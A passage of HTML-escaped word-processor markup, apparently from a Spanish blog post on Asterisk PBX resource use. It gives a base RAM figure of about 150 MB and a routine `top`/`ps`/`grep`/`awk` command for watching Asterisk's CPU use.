url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;usada&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; (MB): &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;“&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;x/1024}&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;’&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;201341983&amp;quot;:0,&amp;quot;335559739&amp;quot;:0,&amp;quot;335559740&amp;quot;:240,&amp;quot;469777462&amp;quot;:[916,1832,2748,3664,4580,5496,6412,7328,8244,9160,10076,10992,11908,12824,13740,14656],&amp;quot;469777927&amp;quot;:[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],&amp;quot;469777928&amp;quot;:[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #00c4c4; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{63b9dce2-b8a5-400b-8a76-2b2f7c34bc67}{252}&quot; paraid=&quot;1154756784&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;line-height: 19.425px;&quot;&gt;&lt;span class=&quot;TextRun EmptyTextRun SCXW197828633 BCX9&quot; color=&quot;rgba(0, 0, 0, 0)&quot; data-contrast=&quot;auto&quot; face=&quot;Calibri, Calibri_EmbeddedFont, Calibri_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;LineBreakBlob BlobObject DragDrop SCXW197828633 BCX9&quot; color=&quot;windowtext&quot; face=&quot;WordVisiCarriageReturn_MSFontService, Calibri, Calibri_EmbeddedFont, Calibri_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;span class=&quot;SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text; white-space: pre;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br class=&quot;SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text; white-space: pre;&quot; /&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;El consumo de memoria RAM en Asterisk es importante, pero hay multitud de otros procesos que comparten el mismo entorno, con consumos mucho mayores y mucho más delimitantes, este valor sería importante ver hasta qué punto puede incrementarse en PBX dedicadas o balanceadores de CARGA SIP, con lo que nos quedaremos con el consumo “base” que hace Asterisk&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;, el cual ronda los &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;0 &lt;/span&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;MBs&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{13}&quot; paraid=&quot;1174079512&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span class=&quot;TextRun Underlined SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 23.7417px; margin: 0px; padding: 0px; text-decoration-line: underline; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 23.7417px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{17}&quot; paraid=&quot;1780003388&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;&lt;span class=&quot;TextRun Underlined SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; font-weight: bold; line-height: 23.7417px; margin: 0px; padding: 0px; text-decoration-line: underline; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;onsumo&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;CPU&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; Asterisk&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 23.7417px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{31}&quot; paraid=&quot;1014410612&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;ES-ES&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;ES-ES&quot;&gt;Utilizaremos el comando top de Asterisk para visualizar cuanto consume Asterisk (y sus llamadas):&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;335551550&amp;quot;:6,&amp;quot;335551620&amp;quot;:6,&amp;quot;469777462&amp;quot;:[2386],&amp;quot;469777927&amp;quot;:[0],&amp;quot;469777928&amp;quot;:[1]}&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; line-height: 19.425px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{37}&quot; paraid=&quot;1206155685&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: black; color: windowtext; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;top &lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #00dddd; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;-p&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #b060b0; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SpellingErrorV2Themed SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-image: var(--urlSpellingErrorV2, url(&amp;quot;data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB3aWR0aD0iNXB4IiBoZWlnaHQ9IjRweCIgdmlld0JveD0iMCAwIDUgNCIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KICAgIDwhLS0gR2VuZXJhdG9yOiBTa2V0Y2ggNTYuMiAoODE2NzIpIC0gaHR0cHM6Ly9za2V0Y2guY29tIC0tPgogICAgPHRpdGxlPnNwZWxsaW5nX3NxdWlnZ2xlPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGcgaWQ9IkZsYWdzIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxMC4wMDAwMDAsIC0yOTYuMDAwMDAwKSIgaWQ9InNwZWxsaW5nX3NxdWlnZ2xlIj4KICAgICAgICAgICAgPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxMC4wMDAwMDAsIDI5Ni4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0wLDMgQzEuMjUsMyAxLjI1LDEgMi41LDEgQzMuNzUsMSAzLjc1LDMgNSwzIiBpZD0iUGF0aCIgc3Ryb2tlPSIjRUIwMDAwIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD4KICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUiIHg9IjAiIHk9IjAiIHdpZHRoPSI1IiBoZWlnaHQ9IjQiPjwvcmVjdD4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+&amp;quot;)); background-position: 0% 100%; background-repeat: repeat-x; border-bottom: 1px solid transparent; margin: 0px; padding: 0px; user-select: text;&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #00dddd; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;-e&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt; &lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #e34adc; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;grep asterisk &lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #e34adc; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #d1d1d1; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;awk&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #00c4c4; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;‘&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;{print $1}&lt;/span&gt;&lt;span class=&quot;NormalTextRun SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; margin: 0px; padding: 0px; user-select: text;&quot;&gt;’&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;none&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #b060b0; font-variant-ligatures: none; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot; xml:lang=&quot;EN-US&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;EOP SCXW197828633 BCX9&quot; data-ccp-props=&quot;{&amp;quot;201341983&amp;quot;:0,&amp;quot;335559739&amp;quot;:0,&amp;quot;335559740&amp;quot;:240,&amp;quot;469777462&amp;quot;:[916,1832,2748,3664,4580,5496,6412,7328,8244,9160,10076,10992,11908,12824,13740,14656],&amp;quot;469777927&amp;quot;:[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],&amp;quot;469777928&amp;quot;:[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; color: #b060b0; line-height: 14px; margin: 0px; padding: 0px; user-select: text;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;OutlineElement Ltr SCXW197828633 BCX9&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: white; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative; user-select: text;&quot;&gt;&lt;p class=&quot;Paragraph SCXW197828633 BCX9&quot; paraeid=&quot;{266576ad-9564-4053-83e9-b6210be63053}{75}&quot; paraid=&quot;77541835&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; background-color: transparent; color: windowtext; font-kerning: none; margin: 0px; overflow-wrap: break-word; padding: 0px; text-align: justify; user-select: text; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;TextRun SCXW197828633 BCX9&quot; data-contrast=&quot;auto&quot; face=&quot;Muli, Muli_EmbeddedFont, Muli_MSFontService, sans-serif&quot; lang=&quot;EN-US&quot; style=&quot;-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; font-variant-ligatures: none; 